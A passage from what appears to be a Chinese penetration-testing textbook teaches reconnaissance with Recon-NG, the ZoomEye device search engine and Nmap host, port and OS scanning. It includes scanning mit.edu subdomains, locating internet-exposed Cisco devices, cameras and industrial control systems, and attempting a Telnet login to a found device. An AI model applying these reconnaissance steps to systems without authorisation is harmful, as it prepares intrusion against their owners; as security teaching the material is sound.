由于Recon-NG中模块数量众多，为了方便使用者可以快速了解模块的用途，新版的Recon-NG在为模块命令的时候采用了分层式（主要是三层式）的命名方法。
 
例如，以recon/domains-hosts/bing_domain_Web模块为例，这个模块一共分成了3个部分。
 
 
 	最前面的是模块类型，这个模块的类型为recon，这种类型的模块是用来对目标进行侦查的。
 
 	中间的是domains-hosts给出模块的工作目标，这个模块的工作目标就是domains-hosts，从名字上看出来工作目标是域名。
 
 	最后面给出使用的技术，例如这个模块bing_domain_Web就是借助微软的bing对一个域名的子域名进行检查。
 

 
3.2.2　Recon-NG的使用实例
 
那么在知道一个模块的名字和大致用途之后，如何使用这个模块呢？如果你在阅读本书之前有过Metasploit的使用经历的话，那么对此就不会陌生。和Metasploit一样，Recon-NG并不是简单地将这些模块组合到一起，而是将这些模块的使用方法进行了统一，这样你就无需一次又一次地去熟悉每一个模块了。虽然上面介绍了21个命令，但是在Recon-NG模块中常用的主要是use、show、set、run这几个命令。
 
下面我们来看一个Recon-NG使用的实例。
 
这里我们以recon/domains-hosts/brute_hosts为例，这个模块可以根据你给出的一个域名列出它的所有子域名，原理是暴力穷解，就是利用字典文件生成各种域名，然后对这些域名发出请求，如果得到回应的话，则确认该域名存在。
 
使用的方法如下：
 
1）使用use命令启动recon/domains-hosts/brute_hosts，如图3-20所示。
 
[image: 图片 1]
 
图3-20　使用use命令启动
 
2）接下来使用“show options”来查看这个模块中所需要使用的参数，如图3-21所示。
 
[image: 图片 3]
 
图3-21　查看需要设置的参数
 
3）这个模块只需要两个参数SOURCE和WORDLIST，SOURCE参数就是我们要扫描的域名，如果我们想查看麻省理工学院的域名mit.edu下面还包含了哪些域名的话，就可以使用命令“set SOURCE mit.edu”。而WORDLIST是用来穷举的字典文件，这个文件已经有了默认值，这里我们不做修改，如图3-22所示。
 
[image: 图片 4]
 
图3-22　为参数赋值
 
4）好了，就这样我们已经完成了对模块的设置，现在可以开始对目标进行扫描了，执行模块的命令为“run”，执行的过程如图3-23所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\a9e8a81d\Screenshot from 2017-07-23 02-37-40.png]
 
图3-23　对目标的域名进行穷举
 
该模块执行完毕，得到了总共1070个结果（964个有效），也就是一共发现mit.edu存在1070个（964个有效）子域名，如图3-24所示。
 
下面用框线标识出来的就是发现的子域名，如图3-25所示。
 
[image: 图片 6]
 
图3-24　扫描得到了1070个结果
 
[image: 图片 8]
 
图3-25　和域名对应的IP地址
 
可是在扫描过程中显示的内容，既有yellow.mit.edu这种存在的子域名，也有失败的xp.mit.edu这种不存在的子域名，可以使用show hosts命令来查看找到的主机，如图3-26所示。
 
[image: 图片 10]
 
图3-26　列出的结果
 
如果你希望将这次扫描的结果保存起来的话，就可以使用reporting中的模块，现在我们使用back命令退出当前模块，注意并不是退出Recon-NG。
 
[recon-ng][test][brute_hosts] >back
 
然后执行“show modules”命令。
 
[recon-ng][test] > show modules
 
这里我们仅仅查看生成报告用的reporting类型的模块，如图3-27所示。
 
[image: 图片 11]
 
图3-27　reporting类型的模块
 
这个reporting类型的模块的作用是提供了输出各种格式的报告。
 
例如，这里我们选择输出一个xml格式的报告，那么就可以使用reporting/xml模块：
 
[recon-ng][test] >usereporting/xml
[recon-ng][test] >use reporting/xml
[recon-ng][test][xml] > run
[*] 964 records added to '/root/.recon-ng/workspaces/test/results.xml'.
 
其中的964个结果都写入了/root/.recon-ng/workspaces/test/results.xml文件中，需要注意的一点，这是一个隐藏的文件夹，所以无法直接浏览。但是我们可以使用cat命令来查看这个文件。
 
root@kali:~# cat /root/.recon-ng/workspaces/test/results.xml
 
 
 	查看到的结果如下：
 

 
<?xml version="1.0" ?>
<root>
<credentials type="list"/>
<hosts type="list">
<item type="dict">
<country type="null"/>
<region type="null"/>
<longitude type="null"/>
<host type="str">abc.mit.edu</host>
<module type="str">brute_hosts</module>
<latitude type="null"/>
<ip_address type="str">18.9.61.41</ip_address>
</item>
 
 
 	这里省略了其他的记录。
 

 
另外，也可以使用需要的软件来打开这个XML文件。
 
3.2.3　使用Recon-NG检测信息是否泄露
 
下面再介绍一个recon/contacts-credentials/hibp_paste模块，这是一个很有趣的模块，其实这个模块就是利用了大名鼎鼎的“haveibeenpwned”提供的服务，它可以帮助你快速检测某一项信息是否已经泄漏，比如说你可以检测是否你的个人信息已经泄漏，例如这里我来检查一下自己的电子邮箱lihuafeng1999@163.com的密码是否已经泄漏，就可以使用这个模块：
 
[recon-ng][default] > use recon/contacts-credentials/hibp_paste
[recon-ng][default][hibp_paste] > show options

  Name      Current Value       Required  Description
  -------- -------------       --------  ---------------
  DOWNLOAD True                  yes        download pastes
  SOURCE   admin@testfire.net   yes        source of input (see 'show info' for details)
[recon-ng][default][hibp_paste] > set source lihuafeng1999@163.com
SOURCE => lihuafeng1999@163.com
[recon-ng][default][hibp_paste] > run
[*] lihuafeng1999@163.com => Not Found.
 
这里面提到的“Haveibeenpwned”服务是由软件架构师兼微软开发安全最有价值专家Troy Hunt创建，这个网站聚合了多起安全泄露事故中泄露的账号信息。潜在的受害者可以在这个网站查询电子邮件地址（没有存储密码信息），然后该网站会确定这个地址是否在泄露账号信息数据库中。
 
3.2.4　Recon-NG中的API Keys操作
 
Recon-NG并非是一个独立的工具，它的很多功能来自于互联网上的一些工具，例如Google、Bing等工具。在使用这些功能的时候有时会需要添加该工具提供的API Keys，使用keys命令就可以对当前Recon-NG中的API Keys进行查看、添加和删除。对于keys命令的具体内容，我们可以使用“keys help”来查看。
 
[recon-ng][test] >keys help
Manages framework API keys
Usage: keys [list|add|delete]
 
keys后面可以使用的参数包括list、add和delete，其中list是列出当前的所有API Keys，add是添加API Keys，delete是删除API Keys。
 
3.3　神奇的搜索引擎ZoomEye
 
现在几乎所有联网的设备都成为了可能被攻击的目标，但是很多人都搞不懂攻击者是怎么在互联网上找到这些设备呢？例如现在传得沸沸扬扬的“摄像头”入侵事件，攻击者是如何找到这些摄像头设备的呢？作为一个网络安全渗透测试人员，我们现在所测试的设备信息是否也已经在互联网上被公开了呢？
 
我认为最好的工具就是Shodan和ZoomEye，它们都是网络安全人员十分喜爱的搜索引擎。不同于Google的是，诸如Baidu等用于搜索网站页面的引擎，它们的目的是搜索网络上指定类型的设备。利用Shodan和ZoomEye，你可以轻松地完成一些以前看起来几乎是不可能完成的任务，例如轻松地找出位于非洲的一些没有设置口令的服务器。因此，在国外，Shodan也被称作是“最可怕的搜索引擎”。
 
Shodan和ZoomEye的使用方法都十分简单，它们都提供了图形化的操作界面，不过如果正确地使用这两个工具，我们还必须掌握“关键词”的用法。这个“关键词”的用法其实和Google、Baidu十分相似，只要你能正确地使用这些关键词，就可以快速在网络上找到那些你所需要的设备。
 
当然Shodan和ZoomEye可以为各类人员提供便利，作为渗透测试者的我们同样可以使用Shodan和ZoomEye来检查在自身网络中是否存在不安全配置的设备。其中，Shodan的历史更为久远，因此你可以很轻松地在互联网上找到有关它的学习资料，这里我们不再详细介绍，本节的重点就放在ZoomEye这款国内的优秀工具上。
 
随着互联网的快速发展，连接到整个网络上的不再只有计算机，各种各样的设备都出现在了这个时代的大舞台上。路由器、交换机、电话系统、网络打印机、工业控制设备、嵌入式系统、安保设备等都可以通过互联网进行访问，一方面为使用者带来了极大的便利，但另一方面，这些设备都暴露在互联网上，也带来了极大的安全隐患。
 
除了一些确实需要连入互联网的设备（例如网络摄像头）之外，我们经常会发现很多时候，用户并不是故意将设备连接到互联网上的。一些经验不够丰富的工作人员在对这些设备进行配置的时候，往往是在不经意间完成了到互联网的连接。后果更为严重的是，这些用户经常会使用系统默认的用户名和密码，甚至有些设备的密码为空。这种设备一旦被黑客发现，后果将不堪设想。
 
3.3.1　ZoomEye的基本用法
 
ZoomEye（“钟馗之眼”）是由国内的知道创宇公司开发并提供服务的，它的定位是网络空间搜索引擎，思想上借鉴了Shodan，但是将侧重点放在了Web层面。
 
下面我们先来查看ZoomEye的使用方法。
 
首先，我们先来访问ZoomEye的在线网站，地址为https://www.zoomeye.org/，打开这个地址之后的页面如图3-28所示。
 
[image: 图片 28]
 
图3-28　ZoomEye的在线网站
 
如果想要正常使用ZoomEye工具的功能，我们需要在这个网站注册一个账户。这个注册是十分简单，而且是免费的。按照如图3-29所示的界面进行注册，注册之后，还可以使用ZoomEye工具提供的一些附加功能。
 
[image: 图片 29]
 
图3-29　注册ZoomEye
 
注册的过程很简单，只需要填写你的手机号码、用户名、电子邮箱地址和密码。手机号码填写完成之后，ZoomEye会向你注册的手机号码中发送一条短信，填写短信中的验证码后，单击“立即注册”，你就可以使用这个账户了。
 
现在我们可以使用ZoomEye了，首先先来查看一下其中最基本的功能，例如我们使用ZoomEye在全世界范围内查找一下Cisco的设备，具体的操作方法就是在ZoomEye的搜索栏中输入“cisco”（见图3-30）。
 
[image: 图片 30]
 
图3-30　使用ZoomEye搜索设备
 
然后单击回车键，如图3-31所示，我们可以查找到所有连接到互联网上的Cisco设备（出于隐私考虑，本书中隐藏了所有设备IP地址的前半部分）。
 
[image: 图片 31]
 
图3-31　找到的Cisco设备
 
ZoomEye会将查找到的设备以表格列出，左侧的“年份”给出了不同年份发现的设备数量，“国家”处给出了各个国家中Cicso设备的使用数量，例如在美国找到了19408115个Cisco的设备。右侧则是以列表的形式给出了找到的具体设备，如果想要查看相关信息的话，可以单击这台设备的IP地址，我们随机选择其中的一台设备（见图3-32）。
 
[image: 图片 32]
 
图3-32　设备的基本信息
 
如果我们想要对设备的端口信息进行进一步验证的话，可以查看页面下面的信息，如图3-33所示。
 
[image: 图片 33]
 
图3-33　设备的端口详细信息
 
根据找到的信息，我们可以尝试对这个设备进行telnet连接，图3-34给出了设备的登录验证过程。
 
[image: 图片 34]
 
图3-34　设备的Telnet登录验证过程
 
好的，现在我们找到了一台可以使用SSH和Telnet登录的设备的地址..39.43，这是一个十分重要的信息。另外，我们还可以利用搜索结果左侧的“国家”列表，选择对设备的所在位置进行限定（见图3-35）。
 
[image: 图片 35]
 
图3-35　Cisco设备在全球的分布
 
图3-36列出了使用Cisco设备数量最多的10个国家，我们可以在其中选择一个国家，例如现在来查看在整个加拿大的Cisco设备的话，我们就可以在国家列表上选择Cannada。
 
图3-37显示了在加拿大找到的所有Cisco设备。
 
[image: 图片 36]
 
图3-36　选择加拿大
 
[image: 图片 37]
 
图3-37　Cisco设备在加拿大的分布
 
另外，我们也可以使用命令的方式来完成搜索，例如我们需要将查找设备的地理位置限定在日本，就可以使用关键词“country”，日本的国家代码为“JP”。我们可以在搜索栏中输入：Cisco +country: JP，如图3-38所示。
 
我们在日本找到了116914个Cisco设备。选择其中的一个，点击IP地址可以看到这个设备的详细信息（见图3-39）。另外，在图3-39中，ZoomEye还根据IP地址标识出来了该设备的所在地址。
 
[image: 图片 38]
 
图3-38　Cisco设备在日本的分布
 
[image: 图片 39]
 
图3-39　在地图上对设备定位
 
3.3.2　ZoomEye中的关键词
 
同样，我们也可以直接在命令行中使用关键词定位到城市，例如我们以日本的大阪为例，就可以在搜索栏中输入“City:Osaka”，如图3-40所示。
 
[image: 图片 40]
 
图3-40　定位到指定城市
 
下面我们来查看一些常见的关键词。
 
 
 	hostname：搜索指定的主机或域名，例如 hostname:google.com。
 
 	port：搜索指定的端口或服务，例如 port:21。
 
 	country：搜索指定的国家，例如 country:china。
 
 	city：搜索指定的城市，例如 city:bejing。
 
 	os：搜索指定的操作系统，例如os:windows。
 
 	app：搜索指定的应用或产品，例如app: ProFTD。
 
 	device：搜索指定的设备类型，例如device:router。
 
 	ip：搜索指定的IP地址，例如ip:192.168.1.1。
 
 	cidr：搜索指定的cidr格式地址，例如cidr:192.168.1.1/24。
 
 	service：搜索指定的服务类型，例如service:http。
 

 
这个搜索引擎能完成很多看起来不可能完成的任务，例如我们前面提到的查找出所有连接到互联网上的摄像头。另外，由于目前市面上很多在售的摄像头都存在认证绕过的问题，而且很多用户使用了弱口令，这都会导致大量个人隐私的泄露。图3-41所示就是使用ZoomEye在互联网上获取的一个摄像头。
 
[image: 图片 41]
 
图3-41　在互联网上获取的一个摄像头
 
又或者我们希望查看在大阪使用的操作系统为Windows的设备，两个条件之间可以使用空格和“+”连接，例如：
 
os:windows +city:Osaka，结果如图3-42所示。
 
又或者我们希望查看某个机构的设备，例如麻省理工学院的设备，那么就可以使用命令，结果如图3-43所示。
 
hostname:mit.edu
 
相比起Shodan，ZoomEye在Web应用方面具有更大的优势，鉴于Web安全并非本书的重点，所以并不会在这个方面进行深入的讲解。对此感兴趣的读者可以参考ZoomEye网站上给出的帮助文件，而我也将在后续编写的图书中对这个方面再进行更加详细的介绍。
 
[image: 图片 42]
 
图3-42　扫描到的结果
 
[image: 图片 43]
 
图3-43　扫描指定域名的设备
 
3.3.3　ZoomEye中的工业控制系统的查找功能
 
除了这些功能之外，ZoomEye还提供了对工业控制系统的查找功能，利用这个功能可以查找世界上连接到了互联网的工业控制系统，这个功能的页面地址为https://www. zoomeye.org/topic?id=ics_project，如图3-44所示。
 
[image: 图片 44]
 
图3-44　ZoomEye中的工业控制系统查找功能
 
该页面分成了上下两个部分，如图3-45所示。
 
[image: 图片 45]
 
图3-45　ZoomEye中的工业控制系统查找界面
 
图3-45的“Protocols”部分给出了各种工业控制设备常用的端口，下面的“Products”部分列出了各种流行的设备，如图3-46所示。
 
[image: 图片 46]
 
图3-46　ZoomEye中提供的各种厂商的设备
 
例如，我们需要在全球范围内查找Adcon Telemetry的设备，就可以选择Adcon Telemetry右面的A850 Telemetry Gateway，结果如图3-47所示。
 
[image: 图片 47]
 
图3-47 查找到的Adcon Telemetry设备
 
在这个页面还可以看到该设备有关的漏洞信息，可以单击左上方的相关漏洞处查看这些信息，如图3-48所示。
 
[image: 图片 48]
 
图3-48　ZoomEye中提供的Adcon Telemetry设备漏洞信息
 
3.3.4　在Metasploit中加载ZoomEye插件
 
当你在ZoomEye中注册了一个用户之后，ZoomEye会向你提供一个免费的账户，我们可以在其他工具中使用ZoomEye提供的API功能。下载安装这个API的命令为：
 
$ sudo easy_install zoomeye-SDK
 
或者
 
$ sudo pip install git+https://github.com/ZoomEye/SDK.git
 
然后我们就可以在Metasploit中使用ZoomEye插件了，具体的使用方法如下：
 
1）在Kali linux2中启动Metasploit。
 
2）如图3-49所示，在Kali linux2中使用 auxiliary/gather/ zoomeye_search模块。
 
[image: 图片 49]
 
图3-49　在Metasploit中使用zoomeye_search
 
3）然后使用“show options”来查看所需选项，如图3-50所示。
 
[image: 图片 50]
 
图3-50　使用“show options”
 
4）输入之前在ZoomEye注册时使用的用户名和密码，如图3-51所示。
 
[image: 图片 51]
 
图3-51　在ZoomEye注册时使用的用户名和密码
 
5）将ZOOMEYE_DORK设置为要搜索的关键词，如图3-52所示。
 
[image: 图片 52]
 
图3-52　ZOOMEYE_DORK设置为CISCO
 
6）输入run执行。
 
7）很快就可以看到结果了，如图3-53所示。
 
[image: 图片 53]
 
图3-53　执行的结果
 
3.4　小结
 
被动扫描是整个渗透测试过程中极为重要的一个阶段。在这一章中，我们介绍了间接扫描的较为优秀的3种工具，分别是Maltego、Recon-NG、ZoomEye。
 
Maltego是一款极为优秀的信息收集工具。只需要给出一个域名，Maltego就可以为我们找出和该网站大量相关的信息，例如子域名、IP地址段、DNS服务、相关的电子邮件信息等。你甚至还可以使用Maltego去调查一个人的信息。Recon-NG则是一个工具集，其中包含了大量可以使用的工具，这些工具分别提供了不同的信息收集功能。ZoomEye是一款神奇的搜索引擎，利用这个引擎我们可以在互联网上找到大量配置不安全的设备。
 
好了，在下一章我们将会就如何进行主动扫描来展开介绍。
 


第4章　主动扫描
 
相对于被动扫描而言，主动扫描的范围要小得多。主动扫描一般都是针对目标发送特制的数据包，然后根据目标的反应来获得一些信息。这些信息主要包括目标主机是否在线、目标主机的指定端口是否开放、目标主机的操作系统、目标主机上运行的服务等。
 
但是这些信息相当重要，试想一下如果一台主机根本没有连上网络，那么我们对其进行网络安全渗透测试还有什么意义呢？测试目标主机是否在线可以帮助我们过滤掉无意义的主机，另外这些信息还可以帮助我们建立目标的网络拓扑。而目标端口、操作系统和服务测试则是进行进一步渗透测试的重要依据。
 
可以进行主动扫描的工具也有很多，其中最为优秀的一定是非Nmap莫属。
 
作为当今最顶尖的网络审计工具之一，Nmap在国外已被大量的网络安全人员所使用，它的身影甚至出现在了很多的优秀影视作品中，其中影响力最大的要数经典巨著《黑客帝国》系列。在《黑客帝国2》中，Tritnity就曾使用Nmap攻击SSH 服务，从而破坏了发电厂的工作（攻击只是Nmap的副业，扫描才是Nmap的主要功能）。
 
Nmap是由 Gordon Lyon设计并实现的，于1997开始发布。Gordon Lyon最初设计Nmap的目的只是希望打造一款强大的端口扫描工具。但是随着时间的发展，Nmap的功能越来越全面，2009年7月17日，开源网络安全扫描工具Nmap正式发布了5.00版，这是自1997年以来最重要的发布，代表着Nmap从简单的网络端口扫描软件变身为全方面的安全工具组件。
 
目前的Nmap已经具备了主机发现功能、端口扫描功能、服务及版本检测功能、操作系统检测功能。另外除了这些基本功能之外，Nmap还可以实现一些高级的审计技术，例如伪造发起扫描端的身份、进行隐蔽的扫描、规避目标的防御设备（例如防火墙）、对系统进行安全漏洞检测并提供完善的报告选项等。在后来的不断发展中，随着Nmap强大的脚本引擎NSE的推出，任何人都可以自己向Nmap中添加新的功能模块。
 
如果我们使用Nmap对一台计算机进行审计的话，最终可以获得如下的目标信息：
 
 
 	目标主机是否在线。
 
 	目标主机所在网络的结构。
 
 	目标主机上开放的端口，例如80端口、135端口、443端口等。
 
 	目标主机所使用的操作系统，例如Windows 7、Windows 10、Linux 2.6.18、Android 4.1.2等。
 
 	目标主机上所运行的服务以及版本，例如Apache httpd 2.2.14、OpenSSH 5.3p1 Debian 3ubuntu4等。
 
 	目标主机上所存在的漏洞，例如弱口令、ms08_067、ms10_054等。
 

 
4.1　Nmap的基本用法
 
启动Nmap的方法和Kali中其他工具的启动方法是一样的。和上一章中介绍的几个工具一样，Nmap也位于信息收集的分类中。单击左上角的“Apploications”，然后在下拉菜单中依次选择“01信息收集”/“nmap”，启动之后Nmap的界面如图4-1所示。
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图4-1　Nmap的启动界面
 
1．对单个主机的扫描
 
使用Nmap最简单的方式就是在命令行中输入“nmap”以及<目标IP地址>，例如：
 
root@kali:~#nmap 192.168.169.131
 
图4-2给出了一个简单的扫描过程的结果。
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图4-2　使用Nmap对192.168.169.131扫描的结果
 
在第一行中给出了Nmap的版本为7.40，扫描开始时间为2017-08-08 20:41
 
第二行是一个标题，生成的是关于192.168.169.131主机的报告。
 
第三行给出目标主机的状态为up（意味着这台主机是处于开机并连上了互联网的状态）。
 
第四行表示在进行检查的1000个端口中，有989个是关闭的。
 
接下来是一张表，这个表中一共有3个字段，分别是PORT、STATE、SERVICE，其中PORT指的是端口、STATE指的是状态、SERVICE指的是运行的服务。
 
例如第六行的PORT列的值为80/TCP，STATE列的值为open，SERVICE列的值为http，完整的含义就是Nmap发现目标计算机上的80号端口目前处于开放状态，这个端口提供着http服务。
 
接下来的第十七行给出了目标主机的硬件地址为00:0C:29:2D:7F:89，这是一台VMware的虚拟机。
 
第十八行给出了经过对1台主机进行扫描，发现1台状态为up的主机，耗时6.07s。
 
Nmap还支持大量的参数，这些参数是以横线形式表示，例如-sn，需要注意的是Nmap中的参数区分大小写。默认情况下，Nmap会对目标同时进行在线状态和端口扫描，使用-sn参数则只进行在线状态扫描，例如我们还对192.168.169.131进行在线状态扫描：
 
root@kali:~#nmap -sn192.168.169.131
 
扫描的结果如图4-3所示。
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图4-3　使用-sn参数对192.168.169.131扫描的结果
 
2．对多个不连续的主机进行扫描
 
Nmap可以一次扫描多个主机，如果这些扫描的目标地址没有任何的关系，那么可以使用将目标地址用空格分隔开的方式来同时对这些主机进行扫描。
 
命令语法：nmap [扫描目标1 扫描目标2 ……扫描目标n]
 
我们来对192.168.169.1、192.168.169.2、192.168.169.100这3台主机进行扫描，就可以使用如下命令：
 
root@kali:nmap 192.168.169.1 192.168.169.2 192.168.169.100
 
扫描的结果如图4-4所示。
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图4-4　使用Nmap对多个不连续的主机进行扫描的结果
 
这里面我们对3个IP的主机进行了扫描，其中在线的主机有两个，不在线的有一个。
 
3．对连续范围内的主机进行扫描
 
在刚刚的例子中我们已经看到了如何对一个目标进行扫描，现在我们来对指定范围内多个目标进行扫描：
 
命令语法：nmap [IP地址的范围]
 
例如在刚刚的情形中，我们就可以输入如下的命令来选择扫描从192.168.169.1-255的主机，这里面为了保证速度，我们使用了-sn参数，这个参数的意义是只扫描是否在线，不扫描端口：
 
root@kali:nmap -sn 192.168.169.1-255
 
图4-5给出的是扫描的结果。
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图4-5　使用Nmap对连续范围的主机进行扫描的结果
 
在这里我们可以看到通过这次扫描，在这个子网中共有5台设备。另外我们为了节约扫描时间，所以使用了-sn参数。
 
4．对整个子网进行扫描
 
Nmap支持使用CIDR的方式来扫描整个子网：
 
命令语法：nmap [IP地址/掩码位数]
 
还是以刚才的情形为例，如果要扫描整个192.168.169.1 ~192.168.169.255范围的话，你还可以使用如下命令：
 
root@kali:nmap -sn 192.168.169.1/24
 
图4-6给出的是扫描的结果。
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图4-6　使用Nmap对整个子网的主机进行扫描的结果
 
扫描的结果和上一个例子一样，同样也是5台主机在线。
 
4.2　使用Nmap进行主机发现
 
我们经常有这样的经验，就是当网络不通的时候，要去ping一下网关，来检查网关是否正常。这其实和主机发现的原理是一样的。当测试的目标是一个网络时，显然只有其中在线（也就是开机并联网）的主机才是我们的目标，那么我们就需要使用主机发现技术来找出这些目标。Nmap中提供了很多种的主机发现方法，这些方法大都与TCP/IP协议族中的协议相对应。
 
1．跳过Ping扫描阶段
 
通常Nmap在进行其他扫描之前，都会对目标进行一个Ping扫描。如果目标对Ping扫描没反应的话，就会直接结束整个扫描过程。这种方法可以跳过那些没有响应的主机，从而节省大量的时间，但是如果目标主机其实在线，但是采用某种手段屏蔽了Ping扫描，那么就会因此也躲过我们的其他扫描操作。所以我们可以指定无论目标是否响应Ping扫描，都要将整个扫描过程完成的参数：
 
语法规则：nmap -PN[目标]
 
root@kali:# nmap -PN 192.168.169.131
 
图4-7 给出了扫描的结果。
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图4-7　使用-PN参数跳过Ping扫描阶段的结果
 
2．仅使用Ping协议进行主机发现
 
和上面的例子刚好相反，有时候我们要对大量的主机进行扫描，例如同时对上万台计算机进行扫描（当然这种情况极少），Nmap如果对一个目标采用各种手段进行扫描的话，那么会花费大量的时间。这时我们可以选择只对目标采用Ping扫描方式，那么这种方式所使用的参数为-sP。
 
语法规则：nmap –sP [目标]
 
root@kali:# nmap -sP 192.168.169.131
 
扫描的结果如图4-8所示。
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图4-8　使用-sP参数对目标进行Ping扫描的结果
 
3．使用ARP协议进行主机发现
 
当目标主机与我们处于同一网段的时候，使用ARP协议扫描技术就是最佳的选择。不仅速度最快，扫描结果也是最为精准的。这是因为没有任何的安全措施会阻止正常的ARP请求。
 
使用nmap的选项-PR就可以实现ARP协议的主机发现。
 
语法规则：nmap -PR [目标]
 
root@kali:# nmap  -PR 192.168.169.131
 
图4-9给出了扫描的结果。
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图4-9　使用ARP协议对目标在线状态扫描的结果
 
上例中我们对IP地址为192.168.169.131的设备是否为活跃设备进行了检测，根据结果可以看到“Host is up”。这说明主机为活跃主机，而且下方给出了192.168.169.131设备的物理地址（D8:FE:E3:B3:87:A9）。
 
但是注意这种扫描方式仅能用于与Nmap所在主机在同一子网的目标。
 
4．使用TCP协议进行主机发现
 
TCP协议的主要过程由三次握手构成：主动端先发送SYN报文，被动端回应SYN+ACK报文，然后主动端再回应ACK。利用这个过程，Nmap向目标发送SYN报文，如果对方回应了SYN+ACK，则说明目标在线。
 
由于三次握手中的最后一步意义不大，所以扫描的时候，这一步可以完成也可以不完成，如果完成的话我们一般称之为全开（Connect）扫描，如果这一步不完成的话一般称之为半开（SYN）扫描。
 
Nmap里面采用-sS来将扫描设定为半开扫描。
 
语法规则：nmap -sS [目标]
 
root@kali:# nmap  -sS 192.168.169.131
 
图4-10给出了扫描的结果。
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图4-10　对目标的在线状态进行半开扫描的结果
 
如果使用全开扫描，可以使用参数-sT。
 
语法规则：nmap -sT [目标]
 
root@kali:# nmap  -sT 192.168.169.131
 
图4-11给出了扫描的结果。
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图4-11　对目标的在线状态进行全开扫描的结果
 
这两种扫描方式中，半开扫描是最为常用的，因为这种扫描方式耗时较短，而且也不容易被目标的日志所记录。
 
5．使用UDP协议进行主机发现
 
UDP协议相比TCP简单，但是进行扫描时，并不如TCP协议方便，而且花费的时间很长，因此这种扫描方式并不常用。
 
如果使用UDP协议扫描，可以使用参数-sU。
 
语法规则：nmap -sU [目标]
 
root@kali:# nmap  -sU 192.168.169.131
 
图4-12给出了扫描的结果。
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图4-12　对目标的在线状态使用UDP协议进行扫描的结果
 
可以看到，这次扫描花费了392.90s，远远超过了其他的扫描方式。
 
4.3　使用Nmap进行端口发现
 
如果我们把每一台网络设备看做是一间房子的话，那么这间房子应该有能够进去和出来的出入口，不过一般的房子只有一个出入口，这些出入口是供人们进出房子使用的。但是每个网络设备却有很多个出入口，最多可以达到65 536（216）个，而这些出入口是供数据进出网络设备的。
 
设立端口的目的其实就是实现了“一机多用”，这里我们先来假设如果没有端口这个技术的话，那么一台主机通常就只能运行一种网络服务了，总是只有一个程序进行网络通讯，那么只会有一个端口，甚至也就没有端口这个概念了。正因为有很多并且将有更多的程序要通过网络进行通讯，而所有信息实际上都要由网卡那一个接口出入，那么如何区分出入的信息是给哪个程序使用的呢？这个任务交由操作系统处理，而它所采用的机制就是分了65536个端口编号，程序在发送的信息中加入端口编号，而操作系统在接收到信息后会按照端口号将信息分流到当前内存中使用该端口号的程序。
 
那么如果我们希望能自由出入目标的话，首先得找到目标上的出入口，也就是端口。
 
一般来说，这些端口有开放的，也有关闭的，只有开放的端口才是我们能够使用的出入口。我们可以使用Nmap找到目标上开放的端口。而Nmap对目标的端口进行扫描时，对端口状态的判断有以下5种。
 
 
 	open，应用程序在该端口接收 TCP 连接或者 UDP 报文。
 
 	closed，关闭的端口对于nmap也是可访问的，它接收nmap探测报文并作出响应，但没有应用程序在其上监听。
 
 	filtered，由于包过滤阻止探测报文到达端口，nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备，路由规则或者主机上的软件防火墙。
 
 	unfiltered，未被过滤状态意味着端口可访问，但是nmap无法确定它是开放还是关闭。只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态。
 
 	open | filtered，无法确定端口是开放还是被过滤，开放的端口不响应就是一个例子。
 

 
对端口的扫描一般使用TCP协议，但是一台主机上有65 536个端口，如果对全部这些端口都进行扫描的话，那么花费的时间将会是相当长的，所以Nmap默认扫描的端口只是65 536中最为常用的1000个端口。换句话说，如果我们不加任何参数的话，Nmap扫描的端口是1000个，而不是65 536个。
 
1．扫描全部端口
 
如果对所有的65 536个端口扫描，可以使用参数-p　"*"。
 
语法规则：nmap-p "*" [目标]
 
root@kali:# nmap-p  "*" 192.168.169.131
 
图4-13给出了扫描的结果。
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图4-13　对目标的所有端口进行扫描的结果
 
扫描的结果分成3列，第一列是端口的编号，第二列是状态（open或者closed），第三列是运行的服务。
 
2．扫描前n个端口
 
如果只想扫描使用频率最高的n个端口，可以使用参数--top-ports n。
 
语法规则：nmap--top-ports n [目标]
 
例如我们要检测目标开放的使用频率最高的那10个端口，可以使用如下命令：
 
root@kali:# nmap --top-ports 10 192.168.169.131
 
图4-14给出了扫描的结果。
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图4-14　对目标最常用的10个端口进行扫描的结果
 
我们可以看到目标中最为常用的10个端口的状态。
 
3．扫描指定端口
 
如果我们只对指定的端口进行测试的话，可以使用参数-p。
 
语法规则：nmap -p　[端口号] [目标]
 
例如我们要对目标的80端口进行测试的话：
 
root@kali:# nmap  -p 80 192.168.169.131
 
图4-15给出了扫描的结果。
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图4-15　对目标的80端口进行扫描的结果
 
4.4　使用Nmap扫描目标操作系统
 
目标的操作系统类型是一个十分重要的信息，如果我们知道了目标所使用的操作系统之后就可以大大减小工作量。例如我们知道了目标系统为Windows XP，那么就不必再进行一些针对Linux系统的渗透测试方法了。同样如果目标系统为Windows 10，那么之前的MS08—067这些针对Windows XP系统的渗透模块也就不需要测试了。通常，越老旧的系统也就意味着越容易被渗透，所以我们在进行渗透测试的时候往往希望能找到目标网络中那些比较老的系统。
 
其实有很多著名的工具都提供了远程对操作系统进行检测的功能，这一点用在入侵上就可以成为黑客的工具，而用在网络管理上就可以进行资产管理和操作系统补丁管理。你可以使用Nmap在网络上找到那些已经过时的系统或者未经授权的系统。
 
但是并没有一种工具可以向你提供绝对准确的远程操作系统信息。几乎所有的工具都是使用了一种“猜”的方法。当然这不是凭空的猜测，而是通过向目标发送探针，然后根据目标的回应来猜测系统。这个探针大都是以TCP和UDP数据包的形式，检查的细节包括初始序列号（ISN）、TCO选项、IP标识符（ID）数字时间戳、显示拥塞通知（ECN）、窗口大小等。每个操作系统对于这些探针都会做出不同的响应。Nmap将这些响应特征提取出来并记录在一个数据库中，这就是Nmap进行识别的原理。探针和响应特征的对应关系存放在map安装目录的Nmap-os-db文件中。Nmap会尝试去验证如下参数：
 
 
 	操作系统供应商的名字，比如微软或者sun。
 
 	操作系统的名字，比如Windows、Mac OS X、Linux。
 
 	操作系统的版本，比如XP、2000、2003、2008。
 
 	当前设备的类型，比如通用计算机、打印服务器、媒体播放器、路由器、WAP或者电力装置。
 

 
除了这些参数以外，操作系统检测还提供了关于系统运行时间和TCP序列可预测性信息的分类，在命令行中使用-O参数通过端口扫描来完成对操作系统的扫描。
 
语法规则：nmap -O　[目标]
 
例如我们要对目标的操作系统进行测试的话：
 
root@kali:# nmap　-O 192.168.169.131
 
图4-16给出了扫描的结果。
 
[image: 图片 5]
 
图4-16　对目标的操作系统进行扫描的结果
 
